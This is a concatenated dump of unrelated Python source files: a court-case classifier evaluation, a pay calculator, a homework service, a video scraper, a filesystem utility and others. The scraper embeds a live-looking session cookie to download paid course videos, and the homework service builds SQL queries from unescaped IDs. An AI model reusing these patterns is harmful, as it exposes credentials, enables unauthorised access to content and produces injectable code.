'/media/DATA/classificadorDeAssuntos/Dados/naoPublicavel/ConferenciaDeAssuntos/OK/'\n\n\n# df_resultado_analise_MLP = []\ndf_resultado_analise_MNB = []\ndf_resultado_analise_RF = []\n# df_resultado_analise_SVM = []\n\n# listaregionais=[20]\nlistaAssuntosCorrigida=[2546,2086,1855,2594,2458,2704,2656,2140,2435,2029,2583,2554,8808,2117,2021,5280,1904,1844,2055,1907,1806,55220,2506,\n 4437,10570,1783,1888,2478,5356,1773,1663,5272,2215,1767,1661,1690]\nlistaAssuntos = listaAssuntosCorrigida\n\nfor i in range (1,25):\n# for i in listaregionais:\n sigla_trt = (\"{:02d}\".format(i))\n # sigla_trt = '22'\n nome_arquivo_2g_trt = 'TRT_' + sigla_trt + '_2G_2010-2019_listaAssuntosProcessosNoSegundoGrauSemSegredoComUmRO.csv'\n df_assuntos_2g_trt = pd.read_csv(path + nome_arquivo_2g_trt, sep=',')\n\n\n # df_processos_preditos_trt_MLP = df_predito_MLP[(df_predito_MLP.sigla_trt == 'TRT' + sigla_trt)]\n df_processos_preditos_trt_MNB = df_predito_MNB[(df_predito_MNB.sigla_trt == 'TRT' + sigla_trt)]\n df_processos_preditos_trt_RF = df_predito_RF[(df_predito_RF.sigla_trt == 'TRT' + sigla_trt)]\n # df_processos_preditos_trt_SVM = df_predito_SVM[(df_predito_SVM.sigla_trt == 'TRT' + sigla_trt)]\n\n # df_processos_preditos_trt_MLP = df_processos_preditos_trt_MLP.head(5)\n # df_processos_preditos_trt_MNB = df_processos_preditos_trt_MNB.head(5)\n # df_processos_preditos_trt_RF = df_processos_preditos_trt_RF.head(5)\n # df_processos_preditos_trt_SVM = df_processos_preditos_trt_SVM.head(5)\n\n start_time = time.time()\n for index, row in df_processos_preditos_trt_MNB.iterrows():\n # print('----------------------------------------------------------------------')\n # print('PROCESSO: ' + df_processos_preditos_trt_MLP.loc[index]['nr_processo'])\n\n df_assuntos_2g_temp = df_assuntos_2g_trt[(df_assuntos_2g_trt.processo_2g == row['nr_processo'])]\n df_assuntos_2g_temp['cd_assunto_nivel_3'] = df_assuntos_2g_temp['cd_assunto_2g'].map(recuperaAssuntoNivelEspecifico)\n assuntos_existentes = set(df_assuntos_2g_temp['cd_assunto_nivel_3'])\n qnd_assuntos_no_2_grau = len(assuntos_existentes)\n assuntos_existentes_dentro_do_escopo = set([i for i in assuntos_existentes if i in listaAssuntos])\n qnd_assuntos_no_2_grau_dentro_do_escopo = len(assuntos_existentes_dentro_do_escopo)\n\n #pega os n assuntos preditos mais provaveis\n # row_predictions_MLP = pd.to_numeric(df_processos_preditos_trt_MLP.loc[index].tail(36).head(35))\n row_predictions_MNB = pd.to_numeric(df_processos_preditos_trt_MNB.loc[index].tail(36).head(35))\n row_predictions_RF = pd.to_numeric(df_processos_preditos_trt_RF.loc[index].tail(36).head(35))\n # row_predictions_SVM = pd.to_numeric(df_processos_preditos_trt_SVM.loc[index].tail(36).head(35))\n\n row_predictions = [\n #(row_predictions_MLP,df_resultado_analise_MLP,df_processos_preditos_trt_MLP.loc[index])\n # ,\n (row_predictions_MNB, df_resultado_analise_MNB, df_processos_preditos_trt_MNB.loc[index]),\n (row_predictions_RF, df_resultado_analise_RF, df_processos_preditos_trt_RF.loc[index])\n #,\n # (row_predictions_SVM, df_resultado_analise_SVM, df_processos_preditos_trt_SVM.loc[index])\n ]\n\n for prediction in row_predictions:\n n5_assuntos_mais_provaveis = set(pd.to_numeric(prediction[0].nlargest(5).index.tolist()))\n n5_assuntos_que_acertou = [i for i in n5_assuntos_mais_provaveis if i in assuntos_existentes]\n if qnd_assuntos_no_2_grau > 0:\n n5_percent = len(n5_assuntos_que_acertou) / qnd_assuntos_no_2_grau\n else:\n n5_percent = 0\n n5_assuntos_que_acertou_dentro_do_escopo = [i for i in n5_assuntos_mais_provaveis if i in assuntos_existentes_dentro_do_escopo]\n if qnd_assuntos_no_2_grau_dentro_do_escopo > 0:\n n5_percent_dentro_do_escopo = len(n5_assuntos_que_acertou_dentro_do_escopo) / qnd_assuntos_no_2_grau_dentro_do_escopo\n else:\n n10_percent_dentro_do_escopo = 0\n n5_acerto = len(n5_assuntos_que_acertou)\n\n n10_assuntos_mais_provaveis = set(pd.to_numeric(prediction[0].nlargest(10).index.tolist()))\n n10_assuntos_que_acertou = [i for i in n10_assuntos_mais_provaveis if i in assuntos_existentes]\n if qnd_assuntos_no_2_grau > 0:\n n10_percent = len(n10_assuntos_que_acertou) / qnd_assuntos_no_2_grau\n else:\n n10_percent = 0\n n10_assuntos_que_acertou_dentro_do_escopo = [i for i in n10_assuntos_mais_provaveis if i in assuntos_existentes_dentro_do_escopo]\n if qnd_assuntos_no_2_grau_dentro_do_escopo > 0:\n n10_percent_dentro_do_escopo = len(n10_assuntos_que_acertou_dentro_do_escopo) / qnd_assuntos_no_2_grau_dentro_do_escopo\n else:\n n10_percent_dentro_do_escopo = 0\n n10_acerto = len(n10_assuntos_que_acertou)\n\n\n prediction[1].append(\n [prediction[2]['sigla_trt'], prediction[2]['nr_processo'], prediction[2]['id_processo_documento'], qnd_assuntos_no_2_grau,\n qnd_assuntos_no_2_grau_dentro_do_escopo, n5_acerto, n5_percent, n5_percent_dentro_do_escopo,\n n10_acerto,\n n10_percent, n10_percent_dentro_do_escopo, assuntos_existentes, assuntos_existentes_dentro_do_escopo,\n n5_assuntos_mais_provaveis, n5_assuntos_que_acertou, n10_assuntos_mais_provaveis,\n n10_assuntos_que_acertou])\n\n\n total_time = time.time() - start_time\n print(\"Tempo para recuperar dados do TRT \" + sigla_trt + ': ' + str(timedelta(seconds=total_time)))\n\ncolunas = ['sigla_trt', 'nr_processo', 'id_processo_documento','qnd_assuntos_no_2_grau','qnd_assuntos_no_2_grau_dentro_do_escopo','n5_acerto','n5_percent','n5_percent_dentro_do_escopo','n10_acerto','n10_percent','n10_percent_dentro_do_escopo','assuntos_existentes','assuntos_existentes_dentro_do_escopo','n5_assuntos_mais_provaveis','n5_assuntos_que_acertou','n10_assuntos_mais_provaveis','n10_assuntos_que_acertou']\n# df_final_MLP = pd.DataFrame(df_resultado_analise_MLP, columns=colunas)\ndf_final_MNB = pd.DataFrame(df_resultado_analise_MNB, columns=colunas)\ndf_final_RF = pd.DataFrame(df_resultado_analise_RF, columns=colunas)\n# df_final_SVM = pd.DataFrame(df_resultado_analise_SVM, columns=colunas)\n\n# nome_arquivo_predicao_avaliado_MLP = path_predicao + 'predicao_multilabel_avaliada_MLP.csv'\nnome_arquivo_predicao_avaliado_MNB = path_predicao + 'predicao_multilabel_avaliada_MNB.csv'\nnome_arquivo_predicao_avaliado_RF = path_predicao + 'predicao_multilabel_avaliada_RF.csv'\n# nome_arquivo_predicao_avaliado_SVM = path_predicao + 'predicao_multilabel_avaliada_SVM.csv'\n\n# df_final_MLP.to_csv(nome_arquivo_predicao_avaliado_MLP, sep='#',decimal=\",\")\ndf_final_MNB.to_csv(nome_arquivo_predicao_avaliado_MNB, sep='#',decimal=\",\")\ndf_final_RF.to_csv(nome_arquivo_predicao_avaliado_RF, sep='#',decimal=\",\")\n# df_final_SVM.to_csv(nome_arquivo_predicao_avaliado_SVM, sep='#',decimal=\",\")\n\n# df_final = pd.read_csv(nome_arquivo_predicao_avaliado, sep='#',decimal=\",\")\n# df_final.columns\n\n\ndf_finais = [\n # (df_final_MLP,'MLP')\n # ,\n (df_final_MNB,'MNB'),\n (df_final_RF,'RF')\n # ,\n # (df_final_SVM,'SVM')\n]\n\nfor df_final in df_finais:\n\n df_filtrado = df_final[0][['n5_percent_dentro_do_escopo','n10_percent_dentro_do_escopo']]\n df_filtrado = df_filtrado.rename(columns={\"n5_percent_dentro_do_escopo\": \"Percentual de acerto com 5 chutes\", \"n10_percent_dentro_do_escopo\": \"Percentual de acerto com 10 chutes\"})\n\n plt.cla()\n plt.clf\n sns.boxplot(y=df_filtrado[\"Percentual de acerto com 5 chutes\"],color='blue').set_title(df_final[1])\n plt.savefig(\"{0}{1}.png\".format(path_predicao, 'boxplot_n5_chutes_' + df_final[1]))\n\n plt.cla()\n plt.clf\n sns.boxplot(y=df_filtrado[\"Percentual de acerto com 10 chutes\"],color='green').set_title(df_final[1])\n plt.savefig(\"{0}{1}.png\".format(path_predicao, 'boxplot_n10_chutes_' + df_final[1]))\n\n","sub_path":"Full/Codigo/001_Analises/_004_Verifica_Predicao_MultiClasse_Como_Multilabel.py","file_name":"_004_Verifica_Predicao_MultiClasse_Como_Multilabel.py","file_ext":"py","file_size_in_byte":11675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"459956699","text":"def computepay(h,r):\n if h>40:\n samaksa = 40*r+(h-40)*1.5*r\n else:\n samaksa = h*r\n return samaksa\n\nhrs = input(\"Enter Hours:\")\nh = float(hrs)\n\npph = input(\"Hourly rate:\")\nr = float(pph)\n\np = computepay(h,r)\nprint(\"Pay\",p)\n","sub_path":"py4e_uzd/hourly_pay_w_def.py","file_name":"hourly_pay_w_def.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"90320269","text":"# -*- coding: utf-8 -*-\nfrom tssite.daos.BaseDao import BaseDao\nfrom tssite.services.user_service import UserService\nfrom tssite.constants import ACT_NUMBER\nimport datetime\n\n\nclass HwService:\n def __init__(self):\n self._dao = BaseDao()\n self._user_serv = UserService()\n\n def commit_hw(self, hw_dict):\n df = self._user_serv.get_user_df_by_id(hw_dict['_id'])\n res = True\n if not df.empty:\n df['编号'] = ACT_NUMBER\n df['答案'] = hw_dict['_file_name']\n df['提交时间'] = str(datetime.datetime.now())[:19]\n df['建议'] = hw_dict['_suggestion']\n df['正常'] = hw_dict['_ok']\n df['成绩'] = '待定'\n df['备注'] = None\n\n self._dao.my_df_to_sql(df, 't_hw')\n\n # 修改t_hw_user表\n sql = \"\"\"UPDATE t_hw_user SET 已提交 = 'y', 成绩 = '待定', 最后修改时间 = NOW(), 初次提交时间 = IF(初次提交时间 IS NULL, NOW(),初次提交时间) \n WHERE 编号 = {ACT_NUMBER} AND 工号 = '{_id}';\"\"\".format(ACT_NUMBER=ACT_NUMBER, _id=hw_dict['_id'])\n self._dao.execute_update_by_sql(sql)\n\n else:\n res = False\n\n return res\n\n # 某次作业需要参与的人员(表格)\n def get_users_df_by_hw_id(self, hw_id, idx_col=None):\n sql = \"\"\"select * from t_hw_user where 编号 = {hw_id};\"\"\".format(hw_id=hw_id)\n df = self._dao.execute_df_query_by_sql(sql, idx_col=idx_col)\n return df\n\n # # 某次作业需要参与的人员()\n # def get_users_dict_by_hw_id(self, hw_id):\n # df = self.get_users_df_by_hw_id(hw_id, idx_col='工号')\n # return df.T.to_dict()\n\n\n # 必须参加考试,且交卷了的\n def get_hw_commited_df_by_hw_id(self, hw_id, idx_col=None):\n sql = \"\"\"SELECT hu.`工号`, hu.`姓名`, hu.`营业部`, hu.`部门`, h.`答案`, hu.`最后修改时间`, \n h.`提交时间`, h.`成绩`, h.`建议`, h.`备注` FROM t_hw_info AS hi, t_hw AS h, t_hw_user AS hu \n WHERE h.`编号` = hi.`编号` AND hu.`工号` = h.`工号` AND hi.`流水` = '{hw_id}';\"\"\".format(hw_id=hw_id)\n df = self._dao.execute_df_query_by_sql(sql, idx_col=idx_col)\n df.sort_values(['工号', '提交时间'], ascending=False, inplace=True)\n df = df.groupby('工号').head(1)\n df.sort_values('工号', ascending=True, inplace=True)\n\n return df\n\n def get_hw_uncommitted_df_by_hw_id(self, hw_id, idx_col=None):\n sql = \"\"\"SELECT hu.`工号`, hu.`姓名`, hu.`营业部`, hu.`部门` FROM t_hw_user AS hu, t_hw_info AS hi \n WHERE hi.`编号` = hu.`编号` AND hu.`已提交` = 'n' AND hi.`流水` = '{hw_id}' ORDER BY 工号;\"\"\".format(hw_id=hw_id)\n df = self._dao.execute_df_query_by_sql(sql, idx_col=idx_col)\n\n return df\n","sub_path":"tssite/services/hw_service.py","file_name":"hw_service.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"235668818","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport requests\nimport re\nimport os\n# from contextlib import closing\nfrom bs4 import BeautifulSoup\n# from classes.progressbar import ProgressBar\n\nheaders = {\n # \"Host\": \"player.vimeo.com\",\n # \"Connection\": \"keep-alive\",\n # \"Cache-Control\": \"max-age=0\",\n # \"Upgrade-Insecure-Requests\": \"1\",\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",\n # \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\n # \"Accept-Encoding\": \"gzip, deflate, br\",\n # \"Accept-Language\": \"zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7,pt;q=0.6\",\n \"Referer\": \"https://keenanonline.com/\"\n}\n\ncookies = {'intercom-id-c2xdup6c': '2d389256-5b2c-46d9-8d93-8eb3f5e120bf',\n 'wordpress_logged_in_4b3d08e309852ea3c6d29dfbcc1541a1': 'meteorshard%7C1544084563%7CphgoIO4kiDqmNO90HnF7MdNxnjtKhBYw7BI71apQe1n%7Ce47c363b9e4e1f3ac3e42e0de091551d802b2dcff1bcf0111d6da201fe6a82ba'}\n\nvideo_pages_global = []\n\n'-----手动重试机制-----'\n\n\ndef request_with_retry(url, max_retries=3):\n try:\n return requests.get(url=url, cookies=cookies, headers=headers)\n except:\n if max_retries > 0:\n print('连接失败,重试连接,剩余重试次数:{}'.format(max_retries - 1))\n return request_with_retry(url, max_retries - 1)\n\n\n'-----按照分类解析列表页面查找播放页面地址-----'\n\n\ndef get_video_page_url(categories):\n\n video_pages = []\n\n for each_category in categories:\n for page_number in range(1, 9999):\n index_url = 'https://keenanonline.com/category/{}/page/{}/'.format(\n each_category, page_number)\n print('解析页面: {}'.format(index_url))\n\n r = request_with_retry(index_url, 3)\n\n soup = BeautifulSoup(r.content, 'html.parser')\n\n # Check if the page exists\n valid_check = soup.find_all(id='post-404page')\n if valid_check:\n break\n\n video_pages_raw = soup.find_all(\n 'h2', 'entry-title fusion-post-title')\n for each_raw in video_pages_raw:\n video_pages.append(each_raw.a.get('href'))\n download_video_from(each_raw.a.get('href'))\n\n # print(video_pages)\n\n\n'-----解析播放页面获得视频文件实际地址-----'\n\n\ndef download_video_from(url):\n\n # Get iframe src\n detail_page = request_with_retry(url, 3)\n\n soup = BeautifulSoup(detail_page.content, 'html.parser')\n iframes = soup.find_all('iframe')\n\n file_name_pattern = re.compile(r'(?<=https://keenanonline.com/).*?(?=/)')\n\n for (index, each_iframe) in enumerate(iframes):\n # Check if the file already exists\n if (index == 0):\n suffix = ''\n else:\n suffix = '_part{}'.format(index + 1)\n\n file_name = './downloaded/{}{}.mp4'.format(\n file_name_pattern.findall(url)[0], suffix)\n\n if os.path.exists(file_name):\n print('文件\"{}\"已存在不需要下载'.format(file_name))\n continue\n\n iframe_src = each_iframe.get('src')\n print('正在从视频播放页面{}解析文件地址'.format(url))\n print('视频播放框架地址为{}'.format(iframe_src))\n\n # # Get the file url of the video\n video_player = request_with_retry(iframe_src, 3)\n\n pattern = re.compile(r'(?<=\"progressive\":)\\[.*?\\]')\n if list(pattern.findall(video_player.content)):\n result = list(pattern.findall(video_player.content))[0]\n else:\n print('视频有问题')\n return -1\n\n # Seach 720p video file\n video_urls = {}\n url_pattern = re.compile(r'https://.*?\"')\n for each_video in result.split('},'):\n if (each_video.find('720p') != -1):\n video_url = re.findall(url_pattern, each_video)[0][:-1]\n video_urls['720p'] = video_url\n print('找到720p文件,地址是:\\n{}\\n-----'.format(video_url))\n elif (each_video.find('1080p') != -1):\n video_url = re.findall(url_pattern, each_video)[0][:-1]\n video_urls['1080p'] = video_url\n print('找到1080p文件,地址是:\\n{}\\n-----'.format(video_url))\n elif (each_video.find('480p') != -1):\n video_url = re.findall(url_pattern, each_video)[0][:-1]\n video_urls['480p'] = video_url\n print('找到480p文件,地址是:\\n{}\\n-----'.format(video_url))\n elif (each_video.find('360p') != -1):\n video_url = re.findall(url_pattern, each_video)[0][:-1]\n video_urls['360p'] = video_url\n print('找到360p文件,地址是:\\n{}\\n-----'.format(video_url))\n\n if video_urls:\n priorities = ['720p', '1080p', '480p', '360p']\n for each_priority in priorities:\n if each_priority in video_urls:\n video_url_to_download = video_urls[each_priority]\n print('即将下载{}文件: {}'.format(\n each_priority, video_url_to_download))\n break\n else:\n print('找不到视频文件')\n return -1\n\n video_file = request_with_retry(video_url_to_download, 3)\n\n print('正在保存文件到{}...'.format(file_name))\n with open(file_name, 'wb') as file:\n file.write(video_file.content)\n print('文件保存完成')\n\n # with closing(s.get(url=video_url, cookies=cookies, headers=headers, stream=True)) as video_file:\n # chunk_size = 1024 # 单次请求最大值\n # content_size = int(video_file.headers['content-length']) # 内容体总大小\n # progress = ProgressBar(file_name, total=content_size,\n # unit=\"KB\", chunk_size=chunk_size, run_status=\"正在下载\", fin_status=\"下载完成\")\n # with open(file_name, \"wb\") as file:\n # for data in s.iter_content(chunk_size=chunk_size):\n # file.write(data)\n # progress.refresh(count=len(data))\n\n\nif __name__ == '__main__':\n get_video_page_url(['no-gi', 'stand-up', 'blue-belt-course', 'passing', 'submissions',\n 'sparring-footage', 'sparring-analysis', 'white-belt-course', 'escapes-defense', 'guard'])\n","sub_path":"worm_guard_virus_noproxies.py","file_name":"worm_guard_virus_noproxies.py","file_ext":"py","file_size_in_byte":6494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"608989246","text":"\n# Тестовое задание:\n# Напишите скрипт на любом скриптовом языке, выдающий статистику по типам файлов на жестком диске.\n# В качестве входного параметра скрипт получает имя каталога, с которого начинается поиск.\n# Скрипт выводит на стандартный вывод расширение файла и количество найденных файлов такого типа.\n# Список сортируется по убыванию.\n\n\nimport os\nimport sys\n\nstatistics = {}\n\n\ndef main_menu():\n path = sys.argv[1]\n print(path)\n if not os.path.exists(path):\n print(\"\\n\\tОшибка!\\n\\tТакого пути не существует.\")\n return path\n\n\ndef extension(filename):\n file_name, file_extension = os.path.splitext(filename)\n return str(file_extension).lower()\n\n\ndef update_stats(file_extension):\n if file_extension == '':\n return\n if file_extension not in statistics.keys():\n statistics.update({file_extension: 0})\n statistics[file_extension] += 1\n\n\ndef walker(path):\n for current_path, folders, files in os.walk(path):\n for file in files:\n update_stats(extension(file))\n\n\ndef stats_output():\n for key, value in sorted(statistics.items(), key=lambda x: x[1], reverse=True):\n print(\"{}: {}\".format(key, value))\n\n\ndef main():\n walker(main_menu())\n stats_output()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"39487781","text":"#!/usr/bin/python\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the Apache License.\nimport re\nfrom azuremodules import *\n\nfile_path = os.path.dirname(os.path.realpath(__file__))\nconstants_path = os.path.join(file_path, \"constants.sh\")\nparams = GetParams(constants_path)\ndistro = params[\"DETECTED_DISTRO\"]\n\n\ndef RunTest(command):\n UpdateState(\"TestRunning\")\n RunLog.info(\"Checking WALinuxAgent Version\")\n output = Run(command)\n ExpectedVersionPattern = \"WALinuxAgent\\-\\d[\\.\\d]+.*\\ running\\ on.*\"\n RegExp = re.compile(ExpectedVersionPattern)\n\n if (RegExp.match(output)) :\n RunLog.info('Waagent is in Latest Version .. - %s', output)\n ResultLog.info('PASS')\n UpdateState(\"TestCompleted\")\n else :\n RunLog.error('Waagent version is differnt than required.')\n RunLog.error('Current version - %s', output)\n RunLog.error('Expected version pattern - %s', ExpectedVersionPattern)\n ResultLog.error('FAIL')\n UpdateState(\"TestCompleted\")\n\nif(distro == \"COREOS\"):\n RunTest(\"waagent --version\")\nelse:\n output = Run(\"pgrep -fa python3.*waagent\")\n if (\"python3\" in output) :\n RunTest(\"/usr/bin/python3 /usr/sbin/waagent --version\")\n else :\n RunTest(\"/usr/sbin/waagent --version\")","sub_path":"Testscripts/Linux/WALA-VERSION-CHECK.py","file_name":"WALA-VERSION-CHECK.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"350986540","text":"# -*- coding:utf-8 -*-\r\nfrom app import application\r\nfrom flask import url_for, render_template, request, redirect, jsonify\r\nimport json\r\nfrom datamodels import CollectedDatas, CollectedDataSeria\r\nfrom models import RobotInfo, AgvPos\r\nimport datetime\r\nimport time\r\n\r\n\r\n@application.route('/ma_workshorp/overview/')\r\ndef ma_workshop_overview(factoryId):\r\n if not factoryId:\r\n factoryId = 1\r\n robotModels = RobotInfo.query.filter_by(factoryId=factoryId).all()\r\n return render_template('manage/workshopoverview.html', titlename='车间视图', robotModels=robotModels)\r\n\r\n\r\n@application.route('/ma_workshop/dataview/')\r\ndef ma_workshop_dataview(id):\r\n data = CollectedDatas.query.filter_by(dev_uniqueId=application.config['DEVICES'][id]['uniqueid']).limit(1000).all()\r\n vdatas = []\r\n edatas = []\r\n tdatas = []\r\n for col in data[::-1]:\r\n edatas.append([time.mktime(col.time.timetuple()) * 1000, col.electricity])\r\n vdatas.append([time.mktime(col.time.timetuple()) * 1000, col.voltage])\r\n tdatas.append([time.mktime(col.time.timetuple()) * 1000, col.temperature])\r\n data = dict()\r\n data['e'] = edatas\r\n data['v'] = vdatas\r\n data['t'] = tdatas\r\n return render_template('manage/workshopdataview.html', titlename='数据视图', id=id, thousandData=data)\r\n\r\n\r\n@application.route('/ma_workshop/getCollectedDatas/')\r\ndef ma_workshop_getCollectedDatas(id):\r\n # devid是一个16位的标识符 不是在config的id\r\n data = None\r\n if id in application.config['DEVICES'] and application.config['DEVICES'][id]['status'] == 'normal':\r\n data = CollectedDatas.query.filter_by(dev_uniqueId=application.config['DEVICES'][id]['uniqueid']).first()\r\n if not data:\r\n data = CollectedDatas(datetime.datetime.now(), 1, 0, 0, 0, 'stop', application.config['DEVICES'][id]['robotId'])\r\n return json.dumps(data, default=CollectedDataSeria)\r\n\r\n\r\n\r\n@application.route('/ma_workshop/getRobotModels', methods=['GET', 'POST'])\r\ndef ma_workshop_getRobotModels():\r\n if request.method == 'POST':\r\n data = json.loads(request.data)\r\n factoryId = data[\"factoryId\"]\r\n if not factoryId:\r\n factoryId = 1\r\n robotModels = RobotInfo.query.filter_by(factoryId=factoryId).all()\r\n result = dict()\r\n for info in robotModels:\r\n tmp = dict()\r\n tmp[\"uniqueid\"] = info.uniqueid\r\n tmp[\"posX\"] = info.posX\r\n tmp[\"posY\"] = info.posY\r\n tmp[\"width\"] = info.width\r\n tmp[\"height\"] = info.height\r\n tmp[\"factoryId\"] = info.factoryId\r\n tmp[\"imageURL\"] = info.imageURL\r\n result[info.uniqueid] = tmp\r\n return json.dumps(result)\r\n\r\n\r\n@application.route('/ma_workshop/getAgvPos', methods=['GET'])\r\ndef ma_workshop_getAgvPose():\r\n re = AgvPos.query.first()\r\n result = []\r\n if re:\r\n result.append(re.pos_X)\r\n result.append(re.pos_Y)\r\n result.append(0)\r\n result.append(0)\r\n return json.dumps(result)\r\n\r\n\r\n@application.route('/ma_workshop/searchHistoryDatas', methods=['POST'])\r\ndef ma_workshop_searchHistoryDatas():\r\n if request.form['startTime'] and request.form['devId']:\r\n reTime = {}\r\n reTime['startTime'] = request.form['startTime']\r\n reTime['endTime'] = request.form['endTime']\r\n id = int(request.form['devId'])\r\n query = CollectedDatas.query.filter_by(dev_uniqueId=application.config['DEVICES'][id]['uniqueid'])\r\n startTime = datetime.datetime.strptime(reTime['startTime'], '%Y-%m-%d %H:%M:%S')\r\n if reTime['endTime']:\r\n data = query.filter(CollectedDatas.time.between(startTime, datetime.datetime.strptime(reTime['endTime'],\r\n '%Y-%m-%d %H:%M:%S'))).all()\r\n else:\r\n reTime['endTime'] = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\r\n data = query.filter(CollectedDatas.time.between(startTime,\r\n datetime.datetime.now())).all()\r\n vdatas = []\r\n edatas = []\r\n tdatas = []\r\n for col in data[::-1]:\r\n vdatas.append([time.mktime(col.time.timetuple()) * 1000, col.voltage])\r\n edatas.append([time.mktime(col.time.timetuple()) * 1000, col.electricity])\r\n tdatas.append([time.mktime(col.time.timetuple()) * 1000, col.temperature])\r\n data = dict()\r\n data['v'] = vdatas\r\n data['e'] = edatas\r\n data['t'] = tdatas\r\n else:\r\n return redirect(url_for('ma_index_index'))\r\n return render_template('manage/workshopdataview.html', titlename='历史采集数据', reTime=reTime, thousandData=data, id=id)\r\n","sub_path":"peach2Produce/ma_workshop.py","file_name":"ma_workshop.py","file_ext":"py","file_size_in_byte":4740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"332861874","text":"#!/usr/bin/env python\n\nfrom __future__ import with_statement, absolute_import\n\nimport time\nimport logging\nimport os\nimport math\nimport random\nimport fileinput\n\nfrom collections import deque\nfrom stat import S_IFDIR, S_IFREG, S_IFCHR, S_IFIFO\nfrom errno import ENOENT\nfrom sys import argv, exit, stdout\nfrom fuse import FUSE, FuseOSError, Operations, LoggingMixIn\nfrom bitarray import bitarray\n\nclass GeigerFS(LoggingMixIn, Operations):\n def __init__(self, harvestFile='times.txt', pseudoFile='pseudo.txt'):\n self.files = {} # file stats for each vfile\n self.data = {} # data str for each vfile\n self.reads = {} # handlers for the read operation for each vfile\n self.timesfhs = {} # file handles for the times.txt file for each vfile\n\n now = time.time()\n self.data['/random'] = \"\"\n self.data['/cpm'] = \"0\"\n self.files['/'] = dict(st_mode=(S_IFDIR | 0o755), st_ctime=now,\n st_mtime=now, st_atime=now, st_nlink=2)\n self.files['/random'] = dict(st_mode=(S_IFREG | 0o444), st_ctime=now,\n st_mtime=now, st_atime=now, st_nlink=1, st_size=8)\n self.files['/cpm'] = dict(st_mode=(S_IFREG | 0o444), st_ctime=now,\n st_mtime=now, st_atime=now, st_nlink=1,\n st_size=4096)\n\n self.reads['/cpm'] = self.doReadCpm\n self.reads['/random'] = self.doReadRandom\n self.fileName = harvestFile\n self.h_fn_bak = harvestFile + \".bak\"\n self.pseudoFN = pseudoFile\n\n # Filesystem methods\n # ==================\n def getattr(self, path, fh=None):\n if path not in self.files:\n raise FuseOSError(ENOENT)\n\n self.files[path]['st_ctime'] = os.stat(self.fileName).st_ctime\n self.files[path]['st_mtime'] = os.stat(self.fileName).st_mtime\n self.files[path]['st_atime'] = os.stat(self.fileName).st_atime\n# now = time.time()\n# self.files[path]['st_ctime'] = now\n# self.files[path]['st_mtime'] = now\n# self.files[path]['st_atime'] = now\n\n return self.files[path]\n\n def read(self, path, length, offset, fh):\n return self.reads[path](path, length, offset, fh)\n\n def readdir(self, path, fh):\n return ['.', '..'] + [x[1:] for x in self.files if x != '/']\n\n def open(self, path, flags):\n self.timesfhs[path] = open(self.fileName, 'r+')\n return 0\n #return Operations.open(self, path, flags)\n\n def doReadCpm(self, path, length, offset, fh):\n ''' Returns the count of events detected per minute '''\n cpm = 0 # final calculated counts per minute\n accum_cpm = 0 # accumulating counts per minute\n last_ts = 0.0 # the last time stamp in the time stamps file\n tfh = self.timesfhs[path] # get the file handle to the times file for this instance\n times_offset = 1024 # initial offset from for reading from the end of the file\n time_diff = 0 # time difference from intervals\n is_at_end_of_file = False # have we ended up reading the whole file\n\n # Read in increments of 1k chunks until we read the whole file,\n # or we get a minute's worth of events.\n while ((not is_at_end_of_file) and time_diff < 60):\n # Check to see if file is larger than current offset for times file:\n if (os.path.getsize(self.fileName) > times_offset):\n tfh.seek(-times_offset, os.SEEK_END)\n tstamps = tfh.readlines()\n del tstamps[0] # remove first element since it might be a partial time stamp\n else: # otherwise read the whole file\n tstamps = tfh.readlines()\n is_at_end_of_file = True\n if (last_ts == 0.0): # get the latest time stamp once\n try: last_ts = float(tstamps[-1])\n except: pass\n for ts in reversed(tstamps): # for each time stamp going backwards\n try:\n if ( not ts ):\n break\n else:\n time_diff = last_ts - float(ts)\n if (time_diff < 60.0):\n accum_cpm += 1\n else:\n break # go until we reach a minute\n except ValueError:\n logging.exception('')\n times_offset += 1024\n cpm = accum_cpm\n accum_cpm = 0\n self.data[path] = str( cpm ) + '\\n'\n return self.data[path][offset:offset + length]\n\n def doPseudoRead(self, path, length, offset):\n ''' Generates random bytes when times.txt is empty using a 4 byte seed '''\n # get 4 byte seed from pseudo file\n tfh = open(self.pseudoFN, 'r+')\n seed = tfh.read(4)\n random.seed(seed)\n self.data[path] = \"\"\n\n # write pseudo random bytes to the path file\n for i in range(length):\n try:\n number = chr(int(math.floor(random.random() * 256))) # convert random\n self.data[path] += number # float to byte\n except: pass\n # write new 4 byte seed back to the pseudo file\n tfh.seek(0) # go to pseudo file beginning\n for i in range(4):\n number = chr(int(math.floor(random.random() * 256)))\n tfh.write(number)\n tfh.close()\n return self.data[path]\n\n def doReadRandom(self, path, length, offset, fh):\n ''' Reads timestamps from times.txt, converts them into the requested number of bits,\n and returns the bits. If times.txt doesn't have enough timestamps, the requested\n bits are generated pseudorandomly '''\n line = \"\"\n lines_to_read = (length * 8) + 1 # lines to read\n i = lines_to_read\n a = bitarray() # create empty bitarray to hold generated bits\n tstamps = deque() # create a deque to hold timestamps\n h_bak = open(self.h_fn_bak, 'w') # unused timestamps from times.txt are written here\n tfh = self.timesfhs[path] # get the file handle to the times file for this instance\n tfh.seek(0) # 